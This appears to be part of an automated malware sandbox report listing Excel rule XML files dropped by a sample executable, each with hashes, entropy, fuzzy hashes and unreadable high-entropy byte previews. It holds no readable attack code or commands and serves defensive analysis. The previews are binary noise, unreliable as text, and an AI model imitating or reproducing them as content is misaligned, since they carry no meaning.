C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.976540646959763
Encrypted:	false
SSDEEP:	192:wOVB93pzjFmU1Wfylnym1QMKMwyuUXcQ+yE6f:5Ll1WEZ1yyugSyEu
MD5:	C50620C0D5BB653759C8C8B904C6F13F
SHA1:	D9FB9CA05F9987362822F256FB3CF44E14A76722
SHA-256:	191A03DEA3F10AA0E533F11D01877AC086CF1F51579D41BD375E66837AD4CC27
SHA-512:	09E7C21749FCA02FAD63682F1E86B1B5951AE49DDA8F7D5224B3EEB27E1C107D5490A527029B175D995DA37EA7246880CBB64F4C69013768E7BBD78EAA60DBAE
Malicious:	false
Preview:	<?xmlM>?\mt.....M.j.......PZ8..L...%...y..$....G.4.N.+f.....Q....n....S.)....4....B...D.@.mK...NpA7s&.2..=n]W.\...l........s.Yj.uaZ.r .."...R.-c.`..v@>Z..k....RJ..),.R BK..{e..#......x.l..6..cx.......gk...n.&. .+..o.......t.U....N.......I/....n.X.]<........<9.a.. =.k.....t...y.i...,.\.......?.....~tH.JoR`..Pt.fm...ji...B..uh)..].z....>9..\...WbO.Em.V..)C....^.h\.,=0$.av..b.{h...F.,.0..t.O.{.(n...^._.VY...=.(.C.......s......8~..js.A.....ir<...WY.....DK..q.P+....&.......M.........8...a.........F)!...u........2.BU........Y.Dp"..GA..'8......bX,.~.e..a`...TO...\.S.....g.E...n.d...{.../f.n..i.:...F.\|h'.......Z.7...T.......E........s....w.8W.}=..HS.......=.{Jl...O.`....~..%.......F/..b/.;,.I?.\6.n8...g3...-...i.s.(..........g@.'.]g.QY..w`...].......X...D[..O`p."....e..`.X.....*SN..V_......_...Sg.y...R:.l.L.U....EaKs?2Y .......x.l....Z..T....X.gx8)..hl..4H...9W.e1... Q....!.1.:3...;jG..VQ...".>....jvp.D.SwFqb...=S..XV...P7.._..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97264151759551
Encrypted:	false
SSDEEP:	192:iDs1m20G3JoyssuUPwer/qsSMOv9pn6qLtfdyAJ:E+Z0B+PNyz9v9ZZfx
MD5:	00D1D7589F2BE8EDE13FB71C08945705
SHA1:	41CF19AF6665ECD91634912F73F82FCBBB85D982
SHA-256:	06D4725787763ABF14270A1E31C166F61CA3AE1712D5301F879460479FA63BB6
SHA-512:	5A7254CDE8DAE973682091BA178126FFB641F0A6AE069321F5BCBBD8EEAFBB45E41FEFB0D07E67AD6FE35D049410EB5C6F6D3BF917BC5E7E69FE7CCC598721AE
Malicious:	false
Preview:	<?xml.........1W.^......w.K.s.I...p....@..SC.=.........>..!..`Ts.L/Ot9b...u^..W.<.....A`q.(.&...F.oR6.W.." .-.O....=...^...=..xY..._Z........l.yK...j...s.O'5:.d.....z..o..;."A.k...n4Vbr).CSX....T.A..6...`g..>.......5.Nfr..eB J.Z.=.(1...b,(Y..P...._..Y7.....+...&..j.v..W3o....-.R.).hj.Q.7...5s.....XB.r..........B..@..\.e......^QjS......UQ.j..M+.h.)XO...0.9D....lI0q.W.@D....[$......`yFf...A..ED..H\..)/;J9!.'.ow...a......:Ae.....x.~.....aWO..?..C.q.....i.+......Mer.jv....K\I).&..6f.8y3ZD.D.b.%....{..."..M....U..]....Qq...N..%.px/..;.mq....\|......u$X".".'..7.`........F_...r.sC......K.n{m..Zg.K}.".8/.]...'.......K.I7.D.$g.ps..&.+.0~B89.'...K.8.......u..].iG.Z.`.\|..\.s.m...B#....G...t.K.4,x.w2.%v9eK.t....&-.$. ..,(}.....B.J.....6.t...ICf..\|.T...]..\c...7...e.9K>w@......B.M..}3BT..j.f.[...,..4.$k~...$.. ..e..e.......\|.}.mOGS.r....X+.>.&,xq..........X.....Hn..6.c .a...b.t.>.sB..:.E.S*.....~"Jead1..n...Z.Ls..p....66.\|.(.j...]...iu...$&........o`.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.862939755185907
Encrypted:	false
SSDEEP:	48:QPyFWiR7iKjw819E+Iklr6hIJyjAA4LFD:QMzOKjwMFrnJtzL9
MD5:	102EE651616D07F25E91AE3E74B275AF
SHA1:	973B6E11C3A79A71A7C347185E913B2B51931241
SHA-256:	D18136BA5AF186A1A27D84AAD7AAF6312D6F07273DB3EFA1F2FC1D179C736487
SHA-512:	BB93287C82CF46DEE4F8C631BBF71B583737B4089349C75D20F12E46EA51F8243F249D452318989F42DBDFA638277946C303191F343BD67D5AD29192A2CFB1C1
Malicious:	false
Preview:	<?xml.....u`.c.......$..lK..PS...<'_.&A....:[..O.......i..v..yC....u.'..{.)2.}+.\<.PJ...Rr.9..g......J.b=...p.e..pVD....^.Y;.6..P..wm...Gaa..zz....9\..I8..P....]0.a.N..S?.......4..q... !@W1k.!...#.&8...1....m).H...=W+o.>`PX_...........pX..F.~..C...).%..)O.. ]C..J@Z..w......:.F.fzj$5(-\|.2.....s..H....a ....^..t<b..4XN.......Q...#).HLsFD..l..8w...WEa&7..=/.%..........1.h.0.u%=.f...0f$.d..R.......k.,$...Hz.......>"3JJ..........M.{.........k!..=_f$..CX.W..)_.P......t#.....7..2gr.o.E...&.X[l............h.0...X..'Wv......z9:..F......E.....OY....z.M.4.&e......O9....~...!.`=..o9.E_.=Elc.BO(.......Q...\@hT{.<....W....W.0.c.'..}._.8S....'W s>s..^'/"./g...o..5.o.5..O.McTD.`@.U.[.....{y.'H(.3.........xn.M-R..%...I6...u...qH.s.....X....-a..Y6SA.8.(...tU...z...,{.....%.O..3. j.d....x.UQ\S.?....:....C..kW7...6....#...MX...i..I...........c.X...C...f....6..W..2...YH.5.G)7....b.r....Z..x.v.<CgzADr.......d.5G......4oE..<...o{.M...Y......'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.88657421889475
Encrypted:	false
SSDEEP:	24:LeJvei919KcwPeBbaeKyBiGeZeh1ugcH711+Mb6z3bLLzuvartJ0rKFeFlz9y+pv:LeJx9z9KOiQ1J40Mb6vvkItq39yqZ7FD
MD5:	DCD2FD0003E4E22F4F61200EB7022DA7
SHA1:	48C434DFD32A0F150CA17AE02FB14494B236CCB2
SHA-256:	02FBDF41CBB3308A1A171CA33FD7D9568D601A2A8BAFD032D60D3CF0928CA196
SHA-512:	F0264B3410F685060BFEDAA2861960ECD3510CD9310331C4A1DEDF59ACBA1ABBBED1DDF224ADC6D60F8A98290E2F60728E9FEDBDE8491067D18C060468E87B8A
Malicious:	false
Preview:	<?xmlp)..j. ....1..(...5.L."Y..s..H...\.<....)P........j..-.A.......$E.z..z......iI..4.!...A..]..q.}..F..Wb.d.......'....A#....a..5..(.2...Z..../..!..r2..@..(.....5.e{...+.....r"..r.E^.O..`wx.@X......'......5$H6&...d6..<.qH'GMy$..{.!...A..V.=...qg.......Cg..$X.i....{Z..2.....#......L1.K....].9<to....7..@.g..%.-2..Pm:w.<.uU.p..^g.....b~....).@..i.C.-........@....8.....Vccs...d#3...o...9.'SiS"m.Y......I.p..3[.n]u..I.@Y...jEC.6ua..0...0!.......D..._.........!..Ge.7N^....<..g.+O.R..;O..Wq.GDRqi..&\|/q...+i............U}5..?....P(...PH..F..L+....... ....0.<p;.......1.T..*-.&.n.......`)...M..d.r^...-~qx..9.=.....v...tr..J1...!..^:.1.......;O.].....A.,.q"....S^..L."..n.xXn...c>...;...Gvb..Z.\. 4..m>..A.%.-.&L......pp./..b.}...w..Z.W.....i.<....d..X.bN-..(......~...u...oDX.C\..U....B$..r..L...P..m..G....\|.m.aw.}.D.%h%D..IE.3.....W.(....p......&wE.N.h....,.].....Q......L.N.s5....Q..0g.O_....x...D.QA!.A_..E:..k;K. ...':'0..}...P+pA.i...'./.@..o...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878666622021666
Encrypted:	false
SSDEEP:	48:CHPDPGqjipr8wez+tXIFjQQzwQH4t/TpFD:QDsleStXIFjWQYt/d9
MD5:	944A0F4DCA02B6425C200260C039F146
SHA1:	28C8A8F11DC06C8C1FF21CBD26A97D9E5CEDAF72
SHA-256:	A7510AE5DCB82D5FB31CB59F683CFFAF574BA0F3828F762D8604AF213FCAE4AC
SHA-512:	AC87D0719BD4F36402FA758579764D1DF6A2F765C0BD3B139EA641CBA7A577C676CBA0F254CD92096C3A0927486B4670E7F7A2318297CAC35CEB3FF8B30D3A99
Malicious:	false
Preview:	<?xml!&=...........T.~....>..%..O..1.x.bUu.<./G]p.Vl:..q5K..>:_.L8m.5..n'$...h......f.\|9...n.....'...K....+m>....i...q.{..!s..~u.n...(^..d.1.2J....0.9uU~i......9rJ....D50)..Ef.-o..@...&qw..........8l.T..\d...n+.u....^=\|_.....\2..6O!Jl.y..*........0.Q..J...R...t.+..w.-TL@..1..W..]......_.W<....!.J...'[I..\..J....p.u#.uv.) .U.Y.....=.^v......)K...L...t...+.....J..O....r..Aw).f3...w.....L.~c@..Q.w'b...gFrUq.:7j.....5uK..._5oF.V.b...>~..E..^....6..Hl]...#..~.r.p+....!..&D............9...[Z.....3..ZL...J...=}...w#.o.M.h..N..0.z.W.i.u.%..(..#...R-..KpG...r..../.wa..r..W.k".\.s.....l.c......@..{.X.+.G.%o<...v...i..6. .....I.\|. ..6"..J..Q2....C"6._3^d.....n.,.i.`$P_...4.-....U..U..c....{)oQPZv........R........S?.^.....7...8...[H."z............~..Y...GgK.Z^._..y'.ig......9q;.h.;dE.wS......Sk....$...m.@4V...r..r.../.....7..r.p.1T.+.X..,......C.(..$N..k.H.+m4.{+.. .3...y.G...z...ZXS...%D.{BAc..."..A/.V....l....m........#U~.../...Y/>.VD....~R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.871758207739941
Encrypted:	false
SSDEEP:	24:Y25jMspJPoVCklZt4B0agy9gJ2jYld183uY/7m4ZpyYXPW+JOX+cVbD:Y25QiaV5Zt4uxJ2jY3CZmoPWILcFD
MD5:	5CF511B89F0340BC9A0C25E77BC36EEE
SHA1:	36FC9AE71A27008CAA636924E010F6092727BDD2
SHA-256:	8C14DB0DD3DB2056083BECA58DB7A1EDC1FE2F597076363351232146C414391D
SHA-512:	94EAC46E90C476A5C278342D2B6A793B525FAA8C98310C80E32B70089019218C1873EFFC3811E16A5D8CBEC83A5357F835B4A912B203E7229DB6271B9D4A9E80
Malicious:	false
Preview:	<?xmlj##..p..q.{...c..Z.=.B.......\.<~.......u.....F.]X_.+.....Y...........m.....f)...,..\|s,.o......1.......m........5d...o....Qv8\|..q.D.....z'\..D>'^.m.......8t...3.4.3..SJ.+..Is....X.Q6.v.&#.a...zb\|.~.A...T.@bsW...A.....N.L).?..~........2.mi.W{._.J..q.yP`....P...(.SW.yl+...=:+.......i.LA.2^.....a.0..8...Q...C....?....;..c.=5.....?.rt$..f..t.......m.9..s......V>....{DfL..h..5..3.q.6......d....iKi$...w...o..........~...8T....H%v~.)...........SR...C{.p.....G..tN....\|I.hOb.;.2....j....}.uK........`b.a.L...5)i.q..C....p..v.....3..'j..q..%7^.e..}....O\..-.....$.W(g>6..~i.<.9j./6.G....l.......%.Q............x..^tj.c-....a~.pu..f#.&VP=..$...FN..RLj..n<C..`.M...f.S#K.W0h$.n#...Zd....:Z.$..m_.)uY.U0.G.e.#...[B.4.P.-.]..T.U.....f%L..2a./..-....B.i..T.{8.LR.Y..=..N.....w..W..~{.\|^c.$v&..ZJ.......-&.9n,f.3..K.L~t.f9~(.8{U.9X...j......_..........S.s.Fk.n...*......\|......v..<.&.o.)\|..W.< ......v=.z....t}..\|D...A.5\|\|.h.T;...}TPE#"h_\/.\|...t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8725411995701275
Encrypted:	false
SSDEEP:	24:M5YXDkNKQH20VxFmua/KWtSf3ncQ/6kKpzSgNxZg32XOi+PnHzjSs5J48krjVbD:M5G4VHDvFE/CXcW6kKzNxCDPX/48gFD
MD5:	C90A51FAD7648353C04362F59B7D4CCD
SHA1:	44DBFD8AF4EEA7A0397172F1B70F1356536322FE
SHA-256:	C9BB61B1EBFAAEEAAB530D3B91BF1A20309C2A3521EEAE8D70A3016CC9136A62
SHA-512:	E10CA70C332008A7E404B2A15C012C2B7F175748176A964D09903A782937108EF708D8B6DA1394407BEC1AD5B1789F6996E329F3218EC5D76593B671D2E92086
Malicious:	false
Preview:	<?xml)v.y.bC...^:q.P.K....L.+\..d=.....w^e.+.........pEeG..z...4z0.1...J...0#.\|i..C.W.`.....{_......}.\..].P8F~.T...^.....a9K...........a.4nq.]b.{...#..y..7..a@.SD%.AYP.P.;.......i...#`4Q......U....:v.z..t8...".\.....[..$3....U.....@..7....}......E..Q.c..[8........~...\..c...!.9.u.K].e../U;...d5{.z.......:l...:....\@L.^..lG....;.......V...:`Wm..tj8...a\.n!..U.b.w..(....-../...>X...dR rX}.RE. .&~...~..P...3.)..5...t& I...I=F.............e...o.....>.!..."...]`....c.+>Y .~.x..#..l.....9.,..!....A/...r..nxH...a.s....#.7........i.....n$mC.-...m9C.X#.D.i.....+. .y...t.Tz(a.J...4.k........$...7..J...........2k.................P.&P.Z;.SQ..Qt.....QL...;..............cO`..pV.p..1....q.'Ni/:.E.D.7.GE....QC...@8e..r.....K.x+..2;t.C1...{.s..R..xYmP.T.W.5...4r3'r.y......<vq}.z..f..k>.......iN...t.c/...S6......OS..0...:.e......:a...4f....m..Y..2`1N..z=6......A#......?.%L*9p....\|...rv.9e..t.m..[^..Ho....$$.>\|zf.8...../..bz.-5.1Ew.!5.zky.jrD..>....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.856948581728722
Encrypted:	false
SSDEEP:	48:Fe9qyFuKLnRIDerKDM1Ys+OTG+5otwPVOuHo4hkbmjFD:YLu4nRIDeWDMn5p5otwP2Kj9
MD5:	6A9B67ABF949A09F63F531960ED91EAB
SHA1:	7B55E4BEE59636A7E90E2776224B99E9B8474896
SHA-256:	D2538EB019A3CA6F8075E81A86F5E53FA88C7DFD47C68DF96AA7CF82B60F2594
SHA-512:	4FB468A3981BA7E6FDA59F4C1DE09F7C482C7EEE4D270A55D5C9CD71179029D50A6759979B6D6D90B64F237D22632C9172D0D6332F29C7D696FC064037D409C0
Malicious:	false
Preview:	<?xml......q."%.gAc..T...6....V.B..z..R..9E...O.`..f .'7!...7Rsjq....3..S1...L.W...u.>....8+@^...!#eZ.&L..$3K..@..E..EYGn..L...e`:@P.C.wp.....\...:.V= ...C....e,D....._k......Q,;J...D..Q.\;..:.2rs..A....#.N..@..........4.R....\...au.p..3.G..r80!G{.D........z~%q...P&.o.P...P.Yh....3...mM^...n...S..T..X..../W.:..6.-..._../......uS7S.......d2..:..k.v.c.2)F.'#c..4.@.G...9.x?.r[.....&..4.U=.6k...`....[r4cCk..&..w.....!p.5...m.,..p.:.K...b.\...-.ag:.{..iN.xr..S.O..m0....Qf..N..5..L...9*&.z.LzN.;A..K..YE.1..\..3.K..S.R.....Q....&...'"p.(1S...k.G..r...D+.....[.J..N..^q.$.....d......K......q.pux..#!....1{.u.m.....pa.<d..u..58..G...L.a..?.y.t..?.!..I.8..F..C..,.$..n....{..9..A..y...^QN.F....#S7.g.......l...@...'8J.{..i.....w~...sN.NI.K.B.....{..w\|.V.........P...P..6..@>fSN.J{KWj.h.......K...;.^s.7.......w=.\..@.S.c.:9o.l........Vf....scX0.z..:..[.w.$H.s.\|o.$_...HG..+..y.}.(N...\......F..y.O...!.0.a.....n.z...K...U...O.r.W.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.774818057859047
Encrypted:	false
SSDEEP:	24:doQIvTWKWukm4TrSNVcden8+ZvZsRmd1IOFyiVbD:eQcTX/YSNVcc8+4RmLhyiFD
MD5:	062097360C0AF8CD991FFAA7888BCDF8
SHA1:	6A949874996A5B63D6C57180229EAA11B5EB1AFC
SHA-256:	2DB922BDBD19B1C8E27741322532E8BC6013AD1BF10594E85044D1A1AC740CD4
SHA-512:	7774EDD956A7AD2918218DB04925C1F3169D517A79A23D2F8A88DF7E4D5CECBCC28385F601C6749C4DEDE73B6D5BA9CC63DA36005BFFDDD3C58F3D1929A24505
Malicious:	false
Preview:	<?xml.3...b...O@X...a..,f.s..hJ.x.!...2h.h.5le.....9W.DyY].5.S........~Mm."..I.$S..pT{.....FjL....bR.k.."zJ....?.{F5.(..3.5.....O..&..z..0..v...b..%...q..G:....n&....+F<.M]Cj..mIf...K'D./<Fl...d!.6#.u......_.#.m,.<.%..T.6.....tcR...(.....j...y..ge.s......fWk:.$..V...x.`8..E.\|... m.1I.1.........^..}.iy..P4..A.^.&.h..........U.z....s...G..b.<...Z./.fb..._.L....w...$...>.y....@.v.q.8...Pg4.n......;.4^.@...........o.....1S.....e..5 ..W...q.........~.Q'U5.$.z;e..lk......w\|....3.F.t.`.IK'/.wI..:..X.. ...u..&)x.(.nJN...xz/...PY.S..,..{...c}...I.7PE...t.. 4.f.....?..9j.0....K6,D..<x....`.Y..AYF.E)ms.4.Q.......}.!.O!N.T....../r.k....mxp....S..!....o&t...S.e.d.....O..../((..h...&>...5.Ge..x...s.'..s.....N.O....;.Z.Xy...S8tD.............p%.m&...+...O.JKZ...[..r...]rH.r..)2.].e.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.93817813826092
Encrypted:	false
SSDEEP:	96:Spfwb0sZf5Rv5vP3AeEd+vr9SPi4e09jA/BlsGRP9:SKVfxg+zUq4e0+/Z1
MD5:	0C08C0C53E9833BA236F1C34DBDA4BB3
SHA1:	B6BC501F56CF81DDD33CE2FFB9A272BC1F33CAC1
SHA-256:	2F94EB39DC573561840A0D8BF8D3880B817A9AC49245CBFC238C92AAA4FF183B
SHA-512:	E180B16E14026B63F0C475AA4B4DE666F48AFCBFB23165AFADE06A1F410551CFE74FBA77F7AC95C735410CA85E45C1D111E787703FFCD2E98554A27E151872CE
Malicious:	false
Preview:	<?xml...\|G..?.0\....bE.2...wI...p.....<..Q..\.....Ec%....X.\|.!...y6MH#(n.g.!G.A<#.&.N:L.?......jK..G.6f.."....E6}..`...rk.h0.OX.\..4.g...~.....Z. .)9'x.xu#.!...4..LX^..6....=....EshO..r....HE.]...N.!mbq.k...{D1..U.J.g...4..zJ..X.....5e.I.......@.@.]x@;].4.......2n....d.p.Z.\|...t%........8..&y.d..3a...t....9.lX...0....F...v..w...n>.....)..O./FT4..$V....`T...wS......OOT.......E.3.-....k3..A.."_"..(6....2..:W.K....qj.Z.@5?..i}^...(..D..._^~.@...;......\Z...+..YZ....t.'.&dp0..D.voS.evz.B.OG.........g.1...H.s...S...7z.k...7.-r.F....Bn~o.}.K....e.i5.WL....M..A.....D%gE@.H.u.Z.`...g...5C#:.........x.w...c.l......,...4.......`.1..$K...0..X.U....F.V`...1.3.o.l..r.......2o5..>.b..E#.Rv.......r*..G.I.X.Oy..x..</.y+j..D."F.....o..X....Q....H.O#E........z6`..Y.[.....JY...1.%...>f..j1....xQh..a....f;Qu.^.C..~./....v../e..P..&(..Q;y..^."..........v...........CstQ ...`........2.r.".....S...'..s;..`..1S.x.\|q...)HM...........)....~.!.u..i..5.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.943950881075091
Encrypted:	false
SSDEEP:	96:zqTHvuJlwZjCj+zqOlb3TAusUDvukcc37TUawacUtQaw39:6nZjCj+Cus2mc3vcaV4
MD5:	6E36144C79C7723776EEE6C1BC03F674
SHA1:	2F029AE1C61ADDBF6AE2FA0C7C6F4ED0CD75B4FF
SHA-256:	C0B7F4C721E38EFF1081872319963295EA3329B000EE943CE4AC041CF4717663
SHA-512:	2041679BA02673FDEF61DBFE1A07EF4070F50860DEC1979E89E7A9126F4E8FE601B90B2712B1660FAE836A30C298818A6C826B6800758EFE708C868863F04276
Malicious:	false
Preview:	<?xmlb..dL#.<a.$..%!.A.>......S...r.)J.2.M...'g.V{...D...<.....O..A._+.$..OK.~.a...7.:.D.IO....s.z.-.mi-..`Lv..I...u.a..#.Z.. F$3...\.n...8......s;"r..GM..1=-?.'R......;......8..o{S.?..,a..P..C....L...+.o..w.BkFo>.6..o..A...d..K......I..O&._.~.7f.R..KxG....Z.....X=.7........9....}..:^.Pg...p$.D.<...Y.......).2..1..ph...e.?r}.vRA.H'7.....U/.....o.....Q...bzo.J.p....D.P.h...8uc#N..q..Y..7.b..}..0...6.k.."..x.d9x......L".@....bm.....U......BGzLuN.K..=...7....Jhk..l...qT<..H+..6.i1\|...8t.w.U9U....B..u.V....._...6.!..m....[7.%.#..3o..U...!..G..YSS~...cE.._o..#?1e.y.q...:+i:.....QkV[p...p.ma........C\.9...5..X.....IX.8..~Qs:xO....jLV...`^....o.p..R. 2+..{..jA.=...6....;.........2.@J.s..0%X..wV.3.;Z.b.7t.y..;u......h..4=......].Q.:.l.2..... ..Ko..G.O...vZ.M..wf.{..k......4.D..I..q.......$:....S._o....O2.q...6..w.C..C\|.Tsk...}......-&.kCf2.$GNp...w..(kp.F...eJ8...4.8...(fn..d....L..0......#hz..aFE...ZkG...u........Za..I2.....B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.6664026617972265
Encrypted:	false
SSDEEP:	12:XDtmTulp0pbT3C2rKnEruXGHK1/UwsRRph0ZDwgXeVAdyjVcii9a:au0pHkpXGqdsbXg8RQoVbD
MD5:	A01D71DE5D90556F494778497B153487
SHA1:	B9E8314BCF46DBF565CAF09146645F50EF0F316D
SHA-256:	79C6924885A11496DB94F3460D05864647AAF083337450514AE396D18E4775EC
SHA-512:	3BC345E85A5765B3393C7940B4C92B2F21A9A5581BB375ED3BA8DC59A2B4991444D19004308F7FC00F4994BAB67B4448DF850C2B764205C59A764FCB5612BB14
Malicious:	false
Preview:	<?xml.;_Q..<..A.n.y4.....V..&....{.<'`.o...-.z..1i.;D..F.....hL.y.. Qu.....V.Q.8.I1..:.D..f.f.\|K....+.M.oG.i6..c...Qf.z/.!.0.\|f..m".:.......N...X.].m.{h.;...E9<....g...&...m...9......g.q3..r..l..D.&..........^".d.....X3.M.H..+g....w..)..z.U.....m...lJ6.........qZ..N.u.2V.kK.@..g.3...K.%....\....]3d..t....n[U;...l>...;.......ofp....4O....%gD.....Bw.....B.6..X.0..[oj........#.5.....$..Bb0l......'.]..o.oE...L..u.:.~..{......I{O...]dJ...0~..kvNF..V.Y..P...La.M^.........jU.R..mH.$.-..G.d..w.{.H...k..&..........2.\|....g..u"J"J._.}Qu]..&O....9.....p...X.>.i.........#.b....W.j).../.(8.TX.sX.s.'.J..f*.B.j.t.`)}{.&D...`...8itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.87597150497834
Encrypted:	false
SSDEEP:	48:HctvVFQU2I/PtOCkMVZ/MrbEpBOPLSOoBpIEhOwBFD:UFunMfMr6OPLFmpIRq9
MD5:	6C96CE49845C1861A073A755ACFD95CB
SHA1:	2851B7E62B57027F1FB69B5E516A00FFEEB927BA
SHA-256:	E43C27D7D3BAD634E9E697E2070D84B9FAFF9696DFCF722C734BD56CE581B3AB
SHA-512:	BE9014D1B14504D83BB9C6796AA32E7F79EEC7D83948D4C0EEDB7F176B52450E6470FF2BDCDCFB04FE1DDC83D5E394504B608C019CCAF630EA15C55B828F52D7
Malicious:	false
Preview:	<?xml%..].R\.'S...X.....h..... ....6...].Z....U.._.,...P.Jj....+]A0...6.{.....'....E$..)>...c...{.`..Wbb.....=2ulHS}......wZ.!....i.......S....mo[.....S.e...1....u.<..#.....x..D.y......@.tt...J.h..o..$D.d....(:.;.ax_T(.<..V..L..~........q^.`z.1.m.6>.;.&..[.....Ck.\|..kt6.....GL.........jg./.:.Xi.Y......x...d..l...>}!.R.~W^....5.koC....w?j+8p.../..A.8...b...".Ts{.u..{?A..3.....d\|...!.....0.E.+.J..-DS.'LV.'.b...t.K..:w.........?.&+...B....7.....!i.l.3.32/......1..(os.lG.2....8..)..B)...9....>...wEWy...>.G .J....>-..f...T...U{........q.oH_.....tF.....<..;.^R..]..Z....{...D.....~o.5._.......YM.9.^.r.P.h.O03.....8.1..FD.rzjo...H.A..\..3Z\..W.9{.9.\...?... .q.d..........z.7.~.X.pG.S..Z.........V...#..}...i......[uWGn...<..D..Sa.y...f....c..s."%}x..w/.7......_...Y.....4..{.R.."3X.].Gy......\|.r..`...........s.^..a...n....Q..DA.M..gA6.4d...F3..A...}.....]...^.....J......g.g:..). ...%...5.C/.>$%.....2...P.8."Mc.G...l.z3.7.U...3e8.#f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.7302110285342645
Encrypted:	false
SSDEEP:	12:5XXJDM5A778qIYfouftP627CuRmPjkxCyEJArrvXioFcS0Ae15TGLmSsGhn7wAT3:sw78XYXftP4Wm5W/6AYTGSlGh7wBcVbD
MD5:	B1F9A2298DDE5C23AB6359057BC36149
SHA1:	E4E0B98C3195C290D940BCCA4F16644CFC85B99D
SHA-256:	34B21ED373DF6933389816358A53532D79E6D9D2FEB51872EF78CA2FFD6082C1
SHA-512:	B952C166BD32B899B856EF18C34BEA01349FB5EB7BB5637CEE6315BDB3114EF4BFB0997DB50D2FE44A5CC9293551753E31C9149DFE30C7F6D9939243EBEF234C
Malicious:	false
Preview:	<?xml..r.U..C.g .....Lv.)H.P5.1....1.....V5.y....X.-..B..........y\|m)....!..?l..V..W..T................(..b..y/.......<....f(....3......B....#..J....@2...fI.S..[..e..Y/$.(..h.....n.@..h....l..R.yD.HD....A.....){..27?.8u..}.}&R5.=.B..7.L.slj.<.".G..<.$_....V.:.R..q........<...V{.z{_T..X...;....2.......:..hM@.E....Y.7.;..#.eji{....i...U...q..<.e.`3Z.6...(../...l...o.I.....^j.Y1.5...K....{%.....VM..G.y.Z,.........}a......A)..0.R.t.p#...%.nJ..'..Y......[.eB....v{q.]9qm..3>..%.V..r.&E....G.TGm^7X..i-x.f.wA.5........'(..Z..rwB.o..9.C.<snH.5./7..aT.2p.9A.4S..).m6...p....".A.G.M.hJ......;^...n.8\.v.[...,6f.>......z.jUY...=..R.m..".....lM.k.d.c..f..>......:."..T.T......0b.\Sf........^...)jtqBxWitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.810247123229343
Encrypted:	false
SSDEEP:	24:PWHw70TyWNX3b39TSs+R46T+nfUo0ieKxiV+kVbD:nqz3Dt1+aC+bxiVJFD
MD5:	2F3C8745C294BB904EA0EA5541D7C66C
SHA1:	C5772BA1B4BA4AD6E7F2CC28A91361D44B3CC18D
SHA-256:	224CF8003828AF904A8E58037D2BF737ACFDBB720AD442E942A3CF7CA0039C35
SHA-512:	DD214870F442999B79468B95F63F6573F71B9A7ED3ED5DDFDC603CFBBEEEAB6A08190D0FA02129689F9244FC31AD6F352BFE4ACF780DCA9A86C7CCF8831DFF4D
Malicious:	false
